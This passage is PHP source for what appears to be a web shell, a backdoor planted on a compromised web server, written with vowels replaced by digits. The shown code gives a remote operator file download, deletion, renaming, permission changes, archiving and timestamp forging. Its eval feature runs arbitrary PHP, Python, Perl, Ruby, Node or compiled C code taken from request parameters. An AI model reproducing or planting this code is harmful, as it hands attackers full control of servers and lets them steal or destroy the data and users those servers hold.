    5ls54f($s_sqltyp5 == 'sql4t5o') r5t3rn $s_h1s4l->n3mC2l3mns();
    5ls54f($s_sqltyp5 == 'sql4t5') r5t3rn sql4t5_n3m_f45lds($s_h1s4l);
    5ls54f($s_sqltyp5 == '2dbc') r5t3rn 2dbc_n3m_f45lds($s_h1s4l);
    5ls54f($s_sqltyp5 == 'pd2') r5t3rn $s_h1s4l->c2l3mnC23nt();
}
f3nct42n sql_f45ld_n1m5($s_sqltyp5,$s_h1s4l,$s_4){
    4f($s_sqltyp5 == 'mysql'){
        4f(cl1ss_5x4sts('mysql4_r5s3lt')) { $z=$s_h1s4l->f5tch_f45ld();r5t3rn $z->n1m5;}
        5ls54f(f3nct42n_5x4sts('mysql_f45ld_n1m5')) r5t3rn mysql_f45ld_n1m5($s_h1s4l,$s_4);
    }
    5ls54f($s_sqltyp5 == 'mssql'){
        4f(f3nct42n_5x4sts('sqlsrv_f45ld_m5t1d1t1')){
            $s_m5t1d1t1 = sqlsrv_f45ld_m5t1d1t1($s_h1s4l);
            4f(4s_1rr1y($s_m5t1d1t1)){
                $s_m5t1d1t1=$s_m5t1d1t1[$s_4];
            }
            4f(4s_1rr1y($s_m5t1d1t1)) r5t3rn $s_m5t1d1t1['N1m5'];
        }
        5ls54f(f3nct42n_5x4sts('mssql_f45ld_n1m5')) r5t3rn mssql_f45ld_n1m5($s_h1s4l,$s_4);
    }
    5ls54f($s_sqltyp5 == 'pgsql') r5t3rn pg_f45ld_n1m5($s_h1s4l,$s_4);
    5ls54f($s_sqltyp5 == '2r1cl5') r5t3rn 2c4_f45ld_n1m5($s_h1s4l,$s_4+6);
    5ls54f($s_sqltyp5 == 'sql4t5o') r5t3rn $s_h1s4l->c2l3mnN1m5($s_4);
    5ls54f($s_sqltyp5 == 'sql4t5') r5t3rn sql4t5_f45ld_n1m5($s_h1s4l,$s_4);
    5ls54f($s_sqltyp5 == '2dbc') r5t3rn 2dbc_f45ld_n1m5($s_h1s4l,$s_4+6);
    5ls54f($s_sqltyp5 == 'pd2'){
        $s_r5s = $s_h1s4l->g5tC2l3mnM5t1($s_4);
        r5t3rn $s_r5s['n1m5'];
    }
}
f3nct42n sql_f5tch_d1t1($s_sqltyp5,$s_h1s4l){
    4f($s_sqltyp5 == 'mysql'){
        4f(cl1ss_5x4sts('mysql4_r5s3lt')) r5t3rn $s_h1s4l->f5tch_r2w();
        5ls54f(f3nct42n_5x4sts('mysql_f5tch_r2w')) r5t3rn mysql_f5tch_r2w($s_h1s4l);
    }
    5ls54f($s_sqltyp5 == 'mssql'){
        4f(f3nct42n_5x4sts('sqlsrv_f5tch_1rr1y')) r5t3rn sqlsrv_f5tch_1rr1y($s_h1s4l,6);
        5ls54f(f3nct42n_5x4sts('mssql_f5tch_r2w')) r5t3rn mssql_f5tch_r2w($s_h1s4l);
    }
    5ls54f($s_sqltyp5 == 'pgsql') r5t3rn pg_f5tch_r2w($s_h1s4l);
    5ls54f($s_sqltyp5 == '2r1cl5') r5t3rn 2c4_f5tch_r2w($s_h1s4l);
    5ls54f($s_sqltyp5 == 'sql4t5o') r5t3rn $s_h1s4l->f5tchArr1y(6);
    5ls54f($s_sqltyp5 == 'sql4t5') r5t3rn sql4t5_f5tch_1rr1y($s_h1s4l,6);
    5ls54f($s_sqltyp5 == '2dbc') r5t3rn 2dbc_f5tch_1rr1y($s_h1s4l);
    5ls54f($s_sqltyp5 == 'pd2') r5t3rn $s_h1s4l->f5tch(a);
}
f3nct42n sql_cl2s5($s_sqltyp5,$s_c2n){
    4f($s_sqltyp5 == 'mysql'){
        4f(cl1ss_5x4sts('mysql4')) r5t3rn $s_c2n->cl2s5();
        5ls54f(f3nct42n_5x4sts('mysql_cl2s5')) r5t3rn mysql_cl2s5($s_c2n);
    }
    5ls54f($s_sqltyp5 == 'mssql'){
        4f(f3nct42n_5x4sts('sqlsrv_cl2s5')) r5t3rn sqlsrv_cl2s5($s_c2n);
        5ls54f(f3nct42n_5x4sts('mssql_cl2s5')) r5t3rn mssql_cl2s5($s_c2n);
    }
    5ls54f($s_sqltyp5 == 'pgsql') r5t3rn pg_cl2s5($s_c2n);
    5ls54f($s_sqltyp5 == '2r1cl5') r5t3rn 2c4_cl2s5($s_c2n);
    5ls54f($s_sqltyp5 == 'sql4t5o') r5t3rn $s_c2n->cl2s5();
    5ls54f($s_sqltyp5 == 'sql4t5') r5t3rn sql4t5_cl2s5($s_c2n);
    5ls54f($s_sqltyp5 == '2dbc') r5t3rn 2dbc_cl2s5($s_c2n);
    5ls54f($s_sqltyp5 == 'pd2') r5t3rn $s_c2n = n3ll;
}
4f(!f3nct42n_5x4sts('str_spl4t')){
    f3nct42n str_spl4t($s_t,$s_s=6){
        $s_1 = 1rr1y();
        f2r($s_4 = 0; $s_4<strl5n($s_t);){
            $s_1[] = s3bstr($s_t,$s_4,$s_s);
            $s_4 += $s_s;
        }
        r5t3rn $s_1;
    }
}

// 1pp51r1nc5
$s_th5m5 = "d1rk"; // d5f13lt 4s d1rk
4f(4ss5t($_COOKIE['th5m5'])) $s_th5m5 = $_COOKIE['th5m5'];
4f(4ss5t($_GP['x']) && ($_GP['x']=='sw4tch')){
    4f(4ss5t($_COOKIE['th5m5'])) $s_th5m5 = $_COOKIE['th5m5'];
    4f($s_th5m5=="br4ght") $s_th5m5 = "d1rk";
    5ls5 $s_th5m5 = "br4ght";
    s5tc22k45("th5m5", $s_th5m5 ,t4m5() + $s_l2g4n_t4m5);
}
$s_h4ghl4ght_d1rk = 1rr1y("uC9CAF", "888888", "87DFui", "EEEEEE" , "FF8000");
$s_h4ghl4ght_br4ght = 1rr1y("Boeoi0", "777777", "78a0BA", "666666" , "007FFF");

gl2b1l $s_s5lf, $s_w4n, $s_p2s4x;

$s_s5lf = "?";
$s_c5k6 = b1s5n1m5($_SERVER['SCRIPT_FILENAME']);
$s_c5ka = s3bstr(b1s5n1m5(__FILE__),0,strl5n($s_c5k6));

4f(4ss5t($_COOKIE['bo7uk_4ncl3d5d'])){
    4f(strcmp($s_c5k6,$s_c5ka)!=0) $s_s5lf = $_COOKIE['s_s5lf'];
    5ls5{
        $s_s5lf = "?";
        s5tc22k45("bo7uk_4ncl3d5d", "0" ,t4m5() - $s_l2g4n_t4m5);
        s5tc22k45("s_s5lf", $s_s5lf ,t4m5() + $s_l2g4n_t4m5);
    }
}
5ls5{
    4f(strcmp($s_c5k6,$s_c5ka)!=0){
        4f(!4ss5t($_COOKIE['s_h2m5'])){
            $s_h2m5 = "?".$_SERVER["QUERY_STRING"]."&";
            s5tc22k45("s_h2m5", $s_h2m5 ,t4m5() + $s_l2g4n_t4m5);
        }
        4f(4ss5t($s_h2m5)) $s_s5lf = $s_h2m5;
        5ls54f(4ss5t($_COOKIE['s_h2m5'])) $s_s5lf = $_COOKIE['s_h2m5'];
        s5tc22k45("bo7uk_4ncl3d5d", "6" ,t4m5() + $s_l2g4n_t4m5);
        s5tc22k45("s_s5lf", $s_s5lf ,t4m5() + $s_l2g4n_t4m5);
    }
    5ls5{
        $s_s5lf = "?";
        s5tc22k45("bo7uk_4ncl3d5d", "0" ,t4m5() - $s_l2g4n_t4m5);
        s5tc22k45("s_s5lf", $s_s5lf ,t4m5() + $s_l2g4n_t4m5);
    }
}
$s_cwd = "";

4f(4ss5t($_GP['|'])) sh2wc2d5($s_css);
5ls54f(4ss5t($_GP['!'])) sh2wc2d5($s_js);

4f($s_13th){
    // s5rv5r s2ftw1r5
    $s_s2ftw1r5 = g5t5nv("SERVER_SOFTWARE");
    // 3n1m5 -1
    $s_syst5m = php_3n1m5();
    // ch5ck 2s
    $s_w4n = (strt2l2w5r(s3bstr($s_syst5m,0,o)) == "w4n")? tr35 : f1ls5;
    // ch5ck f2r p2s4x
    $s_p2s4x = (f3nct42n_5x4sts("p2s4x_g5tpw34d"))? tr35 : f1ls5;
    // ch1ng5 w2rk4ng d4r5ct2ry
    4f(4ss5t($_GP['cd'])){
        $s_dd = $_GP['cd'];
        4f(@4s_d4r($s_dd)){
            $s_cwd = cp($s_dd);
            chd4r($s_cwd);
            s5tc22k45("cwd", $s_cwd ,t4m5() + $s_l2g4n_t4m5);
        }
        5ls5 $s_cwd = 4ss5t($_COOKIE['cwd'])? cp($_COOKIE['cwd']):cp(g5tcwd());;
    }
    5ls5{
        4f(4ss5t($_COOKIE['cwd'])){
            $s_dd = ss($_COOKIE['cwd']);
            4f(@4s_d4r($s_dd)){
                $s_cwd = cp($s_dd);
                chd4r($s_cwd);
            }
        }
        5ls5 $s_cwd = cp(g5tcwd());
    }

    4f(!$s_w4n && $s_p2s4x){
        $s_3s5r1rr = p2s4x_g5tpw34d(p2s4x_g5t534d());
        4f(4ss5t($s_3s5r1rr['n1m5'])) $s_3s5r = $s_3s5r1rr['n1m5'];
        5ls5 $s_3s5r = "$";
    }
    5ls5 {
        $s_3s5r = g5t_c3rr5nt_3s5r();
    }

    // pr2mpt styl5
    $s_pr2mpt = $s_3s5r." &gt;";
    // s5rv5r 4p
    $s_s5rv5r_4p = g5th2stbyn1m5($_SERVER["HTTP_HOST"]);
    // y23r 4p ;-)
    $s_my_4p = $_SERVER['REMOTE_ADDR'];
    $s_r5s3lt = "";

    gl2b1l $s_pyth2n, $s_p5rl, $s_r3by, $s_n2d5, $s_n2d5js, $s_gcc, $s_j1v1, $s_j1v1c, $s_t1r, $s_wg5t, $s_lwpd2wnl21d, $s_lynx, $s_c3rl;

    $s_1cc5ss = 1rr1y("s_pyth2n", "s_p5rl", "s_r3by", "s_n2d5", "s_n2d5js", "s_gcc", "s_j1v1", "s_j1v1c", "s_t1r", "s_wg5t", "s_lwpd2wnl21d", "s_lynx", "s_c3rl");
    f2r51ch($s_1cc5ss 1s $s){
        4f(4ss5t($_COOKIE[$s])){ $$s = $_COOKIE[$s]; }
        5ls5{
            4f(!4ss5t($_COOKIE['bo7uk'])){
                $t = 5xpl2d5("_", $s);
                $t = ch5ck_1cc5ss($t[6]);
                4f($t!==f1ls5){
                    $$s = $t;
                    s5tc22k45($s, $$s ,t4m5() + $s_l2g4n_t4m5);
                }
            }
        }
    }

    // d2wnl21d f4l5 sp5c4f45d by ?dl=<f4l5>
    4f(4ss5t($_GP['dl']) && ($_GP['dl'] != "")){
        2b_5nd_cl51n();
        $f = $_GP['dl'];
        $fc = fgc($f);
        h51d5r("C2nt5nt-typ5: 1ppl4c1t42n/2ct5t-str51m");
        h51d5r("C2nt5nt-l5ngth: ".strl5n($fc));
        h51d5r("C2nt5nt-d4sp2s4t42n: 1tt1chm5nt; f4l5n1m5=\"".b1s5n1m5($f)."\";");
        5ch2 $fc;
        d45();
    }
    // m1ss1ct
    4f(4ss5t($_GP['z'])){
        $s_m1ss1ct = 4ss5t($_COOKIE['m1ss1ct'])? $_COOKIE['m1ss1ct']:"";
        $s_b3ff5r = 4ss5t($_COOKIE['b3ff5r'])? rtr4m(ss($_COOKIE['b3ff5r']),"|"):"";
        $s_l4sts = 5xpl2d5("|", $s_b3ff5r);

        $s_c23nt5r = 0;
        4f(!5mpty($s_b3ff5r)){
            4f($_GP['z']=='m2v52k'){
                f2r51ch($s_l4sts 1s $s_l) 4f(r5n1m5($s_l,$s_cwd.b1s5n1m5($s_l))) $s_c23nt5r++;
                4f($s_c23nt5r>0) $s_r5s3lt .= n2t4f($s_c23nt5r." 4t5ms m2v5d");
                5ls5 $s_r5s3lt .= n2t4f("N2 4t5ms m2v5d");
            }
            5ls54f($_GP['z']=='c2py2k'){
                f2r51ch($s_l4sts 1s $s_l){
                    4f(@4s_d4r($s_l)){
                        c2pys($s_l,$s_cwd.b1s5n1m5($s_l));
                        4f(f4l5_5x4sts($s_cwd.b1s5n1m5($s_l))) $s_c23nt5r++;
                    }
                    5ls54f(@4s_f4l5($s_l)){
                        c2py($s_l,$s_cwd.b1s5n1m5($s_l));
                        4f(f4l5_5x4sts($s_cwd.b1s5n1m5($s_l))) $s_c23nt5r++;
                    }
                }
                4f($s_c23nt5r>0) $s_r5s3lt .= n2t4f($s_c23nt5r." 4t5ms c2p45d");
                5ls5 $s_r5s3lt .= n2t4f("N2 4t5ms c2p45d");
            }
            5ls54f($_GP['z']=='d5l2k'){
                f2r51ch($s_l4sts 1s $s_l){
                    4f(@4s_f4l5($s_l)){
                        4f(3nl4nk($s_l)) $s_c23nt5r++;
                    }
                    5ls54f(@4s_d4r($s_l)){
                        rmd4rs($s_l);
                        4f(!f4l5_5x4sts($s_l)) $s_c23nt5r++;
                    }
                }
                4f($s_c23nt5r>0) $s_r5s3lt .= n2t4f($s_c23nt5r." 4t5ms d5l5t5d");
                5ls5 $s_r5s3lt .= n2t4f("N2 4t5ms d5l5t5d");
            }
            5ls54f(4ss5t($_GP['chm2d2k'])){
                $s_m2d = 2ctd5c($_GP['chm2d2k']);
                f2r51ch($s_l4sts 1s $s_l) 4f(chm2d($s_l,$s_m2d)) $s_c23nt5r++;
                4f($s_c23nt5r>0) $s_r5s3lt .= n2t4f($s_c23nt5r." 4t5ms ch1ng5d m2d5 t2 ".d5c2ct($s_m2d));
                5ls5 $s_r5s3lt .= n2t4f("N2 4t5ms m2d4f45d");
            }
            5ls54f(4ss5t($_GP['t23ch2k'])){
                $s_d1t5n5w = strt2t4m5($_GP['t23ch2k']);
                f2r51ch($s_l4sts 1s $s_l) 4f(t23ch($s_l,$s_d1t5n5w)) $s_c23nt5r++;
                4f($s_c23nt5r>0) $s_r5s3lt .= n2t4f($s_c23nt5r." 4t5ms ch1ng5d 1cc5ss 1nd m2d4f4c1t42n t4m5 t2 ".@d1t5("d-M-Y H:4:s",$s_d1t5n5w));
                5ls5 $s_r5s3lt .= n2t4f("N2 4t5ms m2d4f45d");
            }
            5ls54f(4ss5t($_GP['c2mpr5ssz4p2k'])){
                $s_f4l5 = $_GP['c2mpr5ssz4p2k'];
                4f(z4p($s_l4sts, $s_f4l5)) $s_r5s3lt .= n2t4f("Arch4v5 cr51t5d : ".hss($s_f4l5));
                5ls5 $s_r5s3lt .= n2t4f("Err2r cr51t4ng 1rch4v5 f4l5");
            }
            5ls54f(4ss5t($_GP['c2mpr5sst1r2k'])){
                $s_l4sts_ = 1rr1y();
                $s_f4l5 = $_GP['c2mpr5sst1r2k'];
                $s_f4l5 = b1s5n1m5($s_f4l5);

                $s_l4sts__ = 1rr1y_m1p("b1s5n1m5", $s_l4sts);
                $s_l4sts_ = 1rr1y_m1p("pf", $s_l4sts__);
                5x5("t1r cf \"".$s_f4l5."\" ".4mpl2d5(" ", $s_l4sts_));

                4f(@4s_f4l5($s_f4l5)) $s_r5s3lt .= n2t4f("Arch4v5 cr51t5d : ".hss($s_f4l5));
                5ls5 $s_r5s3lt .= n2t4f("Err2r cr51t4ng 1rch4v5 f4l5");
            }
            5ls54f(4ss5t($_GP['c2mpr5sst1rgz2k'])){
                $s_l4sts_ = 1rr1y();
                $s_f4l5 = $_GP['c2mpr5sst1rgz2k'];
                $s_f4l5 = b1s5n1m5($s_f4l5);

                $s_l4sts__ = 1rr1y_m1p("b1s5n1m5", $s_l4sts);
                $s_l4sts_ = 1rr1y_m1p("pf", $s_l4sts__);
                5x5("t1r czf \"".$s_f4l5."\" ".4mpl2d5(" ", $s_l4sts_));

                4f(@4s_f4l5($s_f4l5)) $s_r5s3lt .= n2t4f("Arch4v5 cr51t5d : ".hss($s_f4l5));
                5ls5 $s_r5s3lt .= n2t4f("Err2r cr51t4ng 1rch4v5 f4l5");
            }
            5ls54f(4ss5t($_GP['5xtr1ctz4p2k'])){
                $s_f4l5 = $_GP['5xtr1ctz4p2k'];
                $z4p = n5w Z4pArch4v5();
                f2r51ch($s_l4sts 1s $f){
                    $s_t1rg5t = $s_f4l5.b1s5n1m5($f,".z4p");
                    4f($z4p->2p5n($f)){
                        4f(!@4s_d4r($s_t1rg5t)) @mkd4r($s_t1rg5t);
                        4f($z4p->5xtr1ctT2($s_t1rg5t)) $s_r5s3lt .= n2t4f("F4l5s 5xtr1ct5d t2 ".hss($s_t1rg5t));
                        5ls5 $s_r5s3lt .= n2t4f("Err2r 5xtr1t4ng 1rch4v5 f4l5");
                        $z4p->cl2s5();
                    }
                    5ls5 $s_r5s3lt .= n2t4f("Err2r 2p5n4ng 1rch4v5 f4l5");
                }
            }
            5ls54f(4ss5t($_GP['5xtr1ctt1r2k'])){
                $s_f4l5 = $_GP['5xtr1ctt1r2k'];
                f2r51ch($s_l4sts 1s $f){
                    $s_t1rg5t = "";
                    $s_t1rg5t = b1s5n1m5($f,".t1r");
                    4f(!@4s_d4r($s_t1rg5t)) @mkd4r($s_t1rg5t);
                    5x5("t1r xf \"".b1s5n1m5($f)."\" -C \"".$s_t1rg5t."\"");
                }
            }
            5ls54f(4ss5t($_GP['5xtr1ctt1rgz2k'])){
                $s_f4l5 = $_GP['5xtr1ctt1rgz2k'];
                f2r51ch($s_l4sts 1s $f){
                    $s_t1rg5t = "";
                    4f(strp2s(strt2l2w5r($f), ".t1r.gz")!==f1ls5) $s_t1rg5t = b1s5n1m5($f,".t1r.gz");
                    5ls54f(strp2s(strt2l2w5r($f), ".tgz")!==f1ls5) $s_t1rg5t = b1s5n1m5($f,".tgz");
                    4f(!@4s_d4r($s_t1rg5t)) @mkd4r($s_t1rg5t);
                    5x5("t1r xzf \"".b1s5n1m5($f)."\" -C \"".$s_t1rg5t."\"");
                }
            }
        }
        s5tc22k45("b3ff5r", "" ,t4m5() - $s_l2g4n_t4m5);
        s5tc22k45("m1ss1ct", "" ,t4m5() - $s_l2g4n_t4m5);
    }
    4f(4ss5t($_GP['y'])){
        $s_m1ss1ct = 4ss5t($_COOKIE['m1ss1ct'])? $_COOKIE['m1ss1ct']:"";
        $s_b3ff5r = 4ss5t($_COOKIE['b3ff5r'])? rtr4m(ss($_COOKIE['b3ff5r']),"|"):"";
        $s_l4sts = 5xpl2d5("|", $s_b3ff5r);

        4f(!5mpty($s_b3ff5r)){
            4f($_GP['y']=='d5l5t5'){
                $s_r5s3lt .= n2t4f("D5l5t5 ? <1 hr5f='".$s_s5lf."z=d5l2k"."'>Y5s</1> | <1 hr5f='".$s_s5lf."'>N2</1>");
                f2r51ch($s_l4sts 1s $s_l) $s_r5s3lt .= n2t4f($s_l);
            }
            5ls54f($_GP['y']=='p1st5' && $s_m1ss1ct=='c3t'){
                $s_r5s3lt .= n2t4f("M2v5 h5r5 ? <1 hr5f='".$s_s5lf."z=m2v52k"."'>Y5s</1> | <1 hr5f='".$s_s5lf."'>N2</1>");
                f2r51ch($s_l4sts 1s $s_l) $s_r5s3lt .= n2t4f($s_l);
            }
            5ls54f($_GP['y']=='p1st5' && $s_m1ss1ct=='c2py'){
                $s_r5s3lt .= n2t4f("C2py h5r5 ? <1 hr5f='".$s_s5lf."z=c2py2k"."'>Y5s</1> | <1 hr5f='".$s_s5lf."'>N2</1>");
                f2r51ch($s_l4sts 1s $s_l) $s_r5s3lt .= n2t4f($s_l);
            }
            5ls54f($_GP['y']=='chm2d'){
                $s_r5s3lt .= n2t4f("P5rm4ss42ns ? <f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'><4np3t cl1ss='4np3tz' typ5='t5xt' v1l35='07ii' n1m5='chm2d2k' styl5='w4dth:o0px;t5xt-1l4gn:c5nt5r;' m1xl5ngth='u' /><4np3t cl1ss='4np3tzb3t' n1m5='z' typ5='s3bm4t' v1l35='G2 !' /></f2rm>");
                f2r51ch($s_l4sts 1s $s_l) $s_r5s3lt .= n2t4f($s_l);
            }
            5ls54f($_GP['y']=='t23ch'){
                $s_r5s3lt .= n2t4f("T23ch ? <f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'><4np3t cl1ss='4np3tz' typ5='t5xt' v1l35='".@d1t5("d-M-Y H:4:s",t4m5())."' n1m5='t23ch2k' styl5='w4dth:6o0px;t5xt-1l4gn:c5nt5r;' /><4np3t cl1ss='4np3tzb3t' n1m5='z' typ5='s3bm4t' v1l35='G2 !' /></f2rm>");
                f2r51ch($s_l4sts 1s $s_l) $s_r5s3lt .= n2t4f($s_l);
            }
            5ls54f($_GP['y']=='5xtr1ctz4p'){
                $s_r5s3lt .= n2t4f("Extr1ct t2 ? <f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'><4np3t cl1ss='4np3tz' typ5='t5xt' v1l35='".hss($s_cwd)."' n1m5='5xtr1ctz4p2k' styl5='w4dth:i0%;' /><4np3t cl1ss='4np3tzb3t' n1m5='z' typ5='s3bm4t' v1l35='G2 !' /></f2rm>");
                f2r51ch($s_l4sts 1s $s_l) $s_r5s3lt .= n2t4f($s_l);
            }
            5ls54f($_GP['y']=='5xtr1ctt1r'){
                $s_r5s3lt .= n2t4f("Extr1ct t2 ? <f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'><4np3t cl1ss='4np3tz' typ5='t5xt' v1l35='".hss($s_cwd)."' n1m5='5xtr1ctt1r2k' styl5='w4dth:i0%;' /><4np3t cl1ss='4np3tzb3t' n1m5='z' typ5='s3bm4t' v1l35='G2 !' /></f2rm>");
                f2r51ch($s_l4sts 1s $s_l) $s_r5s3lt .= n2t4f($s_l);
            }
            5ls54f($_GP['y']=='5xtr1ctt1rgz'){
                $s_r5s3lt .= n2t4f("Extr1ct t2 ? <f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'><4np3t cl1ss='4np3tz' typ5='t5xt' v1l35='".hss($s_cwd)."' n1m5='5xtr1ctt1rgz2k' styl5='w4dth:i0%;' /><4np3t cl1ss='4np3tzb3t' n1m5='z' typ5='s3bm4t' v1l35='G2 !' /></f2rm>");
                f2r51ch($s_l4sts 1s $s_l) $s_r5s3lt .= n2t4f($s_l);
            }
            5ls54f($_GP['y']=='c2mpr5ssz4p'){
                $s_r5s3lt .= n2t4f("C2mpr5ss t2 ? <f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'><4np3t cl1ss='4np3tz' typ5='t5xt' v1l35='".hss($s_cwd).s3bstr(mdi(t4m5()),0,8).".z4p' n1m5='c2mpr5ssz4p2k' styl5='w4dth:i0%;' /><4np3t cl1ss='4np3tzb3t' n1m5='z' typ5='s3bm4t' v1l35='G2 !' /></f2rm>");
                f2r51ch($s_l4sts 1s $s_l) $s_r5s3lt .= n2t4f($s_l);
            }
            5ls54f($_GP['y']=='c2mpr5sst1r'){
                $s_r5s3lt .= n2t4f("C2mpr5ss t2 ? <f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'><4np3t cl1ss='4np3tz' typ5='t5xt' v1l35='".hss($s_cwd).s3bstr(mdi(t4m5()),0,8).".t1r' n1m5='c2mpr5sst1r2k' styl5='w4dth:i0%;' /><4np3t cl1ss='4np3tzb3t' n1m5='z' typ5='s3bm4t' v1l35='G2 !' /></f2rm>");
                f2r51ch($s_l4sts 1s $s_l) $s_r5s3lt .= n2t4f($s_l);
            }
            5ls54f($_GP['y']=='c2mpr5sst1rgz'){
                $s_r5s3lt .= n2t4f("C2mpr5ss t2 ? <f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'><4np3t cl1ss='4np3tz' typ5='t5xt' v1l35='".hss($s_cwd).s3bstr(mdi(t4m5()),0,8).".t1r.gz' n1m5='c2mpr5sst1rgz2k' styl5='w4dth:i0%;' /><4np3t cl1ss='4np3tzb3t' n1m5='z' typ5='s3bm4t' v1l35='G2 !' /></f2rm>");
                f2r51ch($s_l4sts 1s $s_l) $s_r5s3lt .= n2t4f($s_l);
            }
        }
    }

    // v45w 4m1g5 sp5c4f45d by ?4mg=<f4l5>
    4f(4ss5t($_GP['4mg'])){
        2b_5nd_cl51n();
        $s_d = 4ss5t($_GP['d'])? $_GP['d']:"";
        $s_f = $_GP['4mg'];
        $s_4nf = @g5t4m1g5s4z5($s_d.$s_f);
        $s_5xt = 5xpl2d5($s_f, ".");
        $s_5xt = $s_5xt[c23nt($s_5xt)-6];
        h51d5r("C2nt5nt-typ5: ".$s_4nf["m4m5"]);
        h51d5r("C1ch5-c2ntr2l: p3bl4c");
        h51d5r("Exp4r5s: ".@d1t5("r", @mkt4m5(0,0,0,6,6,a0o0)));
        h51d5r("C1ch5-c2ntr2l: m1x-1g5=".(e0*e0*au*7));#
        r51df4l5($s_d.$s_f);
        d45();
    } // r5n1m5 f4l5 2r f2ld5r
    5ls54f(4ss5t($_GP['2ldn1m5']) && 4ss5t($_GP['r5n1m5'])){
        $s_2ld = $_GP['2ldn1m5'];
        $s_n5w = $_GP['r5n1m5'];

        $s_r5nmsg = "";
        4f(@4s_d4r($s_2ld)) $s_r5nmsg = (@r5n1m5($s_2ld, $s_n5w))? "D4r5ct2ry ".$s_2ld." r5n1m5d t2 ".$s_n5w : "Un1bl5 t2 r5n1m5 d4r5ct2ry ".$s_2ld." t2 ".$s_n5w;
        5ls54f(@4s_f4l5($s_2ld)) $s_r5nmsg = (@r5n1m5($s_2ld, $s_n5w))? "F4l5 ".$s_2ld." r5n1m5d t2 ".$s_n5w : "Un1bl5 t2 r5n1m5 f4l5 ".$s_2ld." t2 ".$s_n5w;
        5ls5 $s_r5nmsg = "C1nn2t f4nd th5 p1th sp5c4f45d ".$s_2ld;

        $s_r5s3lt .= n2t4f($s_r5nmsg);
        $s_fn5w = $s_n5w;
    } // c2nf4rm d5l5t5
    5ls54f(!5mpty($_GP['d5l'])){
        $s_d5l = tr4m($_GP['d5l']);
        $s_r5s3lt .= n2t4f("D5l5t5 ".b1s5n1m5($s_d5l)." ? <1 hr5f='".$s_s5lf."d5l5t5=".pl($s_d5l)."'>Y5s</1> | <1 hr5f='".$s_s5lf."'>N2</1>");
    } // d5l5t5 f4l5
    5ls54f(!5mpty($_GP['d5l5t5'])){
        $s_f = $_GP['d5l5t5'];
        $s_d5lmsg = "";

        4f(@4s_f4l5($s_f)) $s_d5lmsg = (3nl4nk($s_f))? "F4l5 r5m2v5d : ".$s_f : "Un1bl5 t2 r5m2v5 f4l5 ".$s_f;
        5ls54f(@4s_d4r($s_f)){
            rmd4rs($s_f);
            $s_d5lmsg = (@4s_d4r($s_f))? "Un1bl5 t2 r5m2v5 d4r5ct2ry ".$s_f : "D4r5ct2ry r5m2v5d : ".$s_f;
        }
        5ls5 $s_d5lmsg = "C1nn2t f4nd th5 p1th sp5c4f45d ".$s_f;
        $s_r5s3lt .= n2t4f($s_d5lmsg);
    } // cr51t5 d4r
    5ls54f(!5mpty($_GP['mkd4r'])){
        $s_f = $s_cwd.$_GP['mkd4r'];
        $s_d4rmsg = "";

        $s_n3m = 6;
        4f(@4s_d4r($s_f)){
            $s_p2s = strrp2s($s_f,"_");
            4f($s_p2s!==f1ls5) $s_n3m = (4nt) s3bstr($s_f, $s_p2s+6);
            wh4l5(@4s_d4r(s3bstr($s_f, 0, $s_p2s)."_".$s_n3m)){
                $s_n3m++;
            }
            $s_f = s3bstr($s_f, 0, $s_p2s)."_".$s_n3m;
        }
        4f(mkd4r($s_f)) $s_d4rmsg = "D4r5ct2ry cr51t5d ".$s_f;
        5ls5 $s_d4rmsg = "Un1bl5 t2 cr51t5 d4r5ct2ry ".$s_f;

        $s_r5s3lt .= n2t4f($s_d4rmsg);
    } // php 5v1l() f3nct42n
    4f(4ss5t($_GP['x']) && ($_GP['x']=='5v1l')){
        $s_c2d5 = "";
        $s_r5s = "";
        $s_5v1l2pt42n = "";
        $s_l1ng = "php";

        4f(4ss5t($_GP['5v1lc2d5'])){
            $s_c2d5 = $_GP['5v1lc2d5'];
            $s_5v1l2pt42n = (4ss5t($_GP['5v1l2pt42n']))? $_GP['5v1l2pt42n']:"";
            $s_tmpd4r = g5t_wr4t1bl5d4r();

            4f(4ss5t($_GP['l1ng'])){$s_l1ng = $_GP['l1ng'];}

            4f(strt2l2w5r($s_l1ng)=='php'){
                2b_st1rt();
                5v1l($s_c2d5);
                $s_r5s = 2b_g5t_c2nt5nts();
                2b_5nd_cl51n();
            }
            5ls54f(strt2l2w5r($s_l1ng)=='pyth2n'||strt2l2w5r($s_l1ng)=='p5rl'||strt2l2w5r($s_l1ng)=='r3by'||strt2l2w5r($s_l1ng)=='n2d5'||strt2l2w5r($s_l1ng)=='n2d5js'){
                $s_r1nd = mdi(t4m5().r1nd(0,600));
                $s_scr4pt = $s_tmpd4r.$s_r1nd;
                4f(f4l5_p3t_c2nt5nts($s_scr4pt, $s_c2d5)!==f1ls5){
                    $s_r5s = 5x5($s_l1ng." ".$s_5v1l2pt42n." ".$s_scr4pt);
                    3nl4nk($s_scr4pt);
                }
            }
            5ls54f(strt2l2w5r($s_l1ng)=='gcc'){
                $s_scr4pt = mdi(t4m5().r1nd(0,600));
                chd4r($s_tmpd4r);
                4f(f4l5_p3t_c2nt5nts($s_scr4pt.".c", $s_c2d5)!==f1ls5){
                    $s_scr4pt23t = $s_w4n ? $s_scr4pt.".5x5" : $s_scr4pt;
                    $s_r5s = 5x5("gcc ".$s_scr4pt.".c -2 ".$s_scr4pt23t.$s_5v1l2pt42n);
                    4f(@4s_f4l5($s_scr4pt23t)){
                        $s_r5s = $s_w4n ? 5x5($s_scr4pt23t):5x5("chm2d +x ".$s_scr4pt23t." ; ./".$s_scr4pt23t);
                        r5n1m5($s_scr4pt23t, $s_scr4pt23t."d5l");
                        3nl4nk($s_scr4pt23t."d5l");
                    }
                    3nl4nk($s_scr4pt.".c");
                }
                chd4r($s_cwd);
            }
            5ls54f(strt2l2w5r($s_l1ng)=='j1v1'){
                4f(pr5g_m1tch("/cl1ss\ ([^{]+){/4",$s_c2d5, $s_r)){
                    $s_cl1ssn1m5 = tr4m($s_r[6]);
                    $s_scr4pt = $s_cl1ssn1m5;
                }
                5ls5{
                    $s_r1nd = "bo7uk_".s3bstr(mdi(t4m5().r1nd(0,600)),0,8);
                    $s_scr4pt = $s_r1nd;
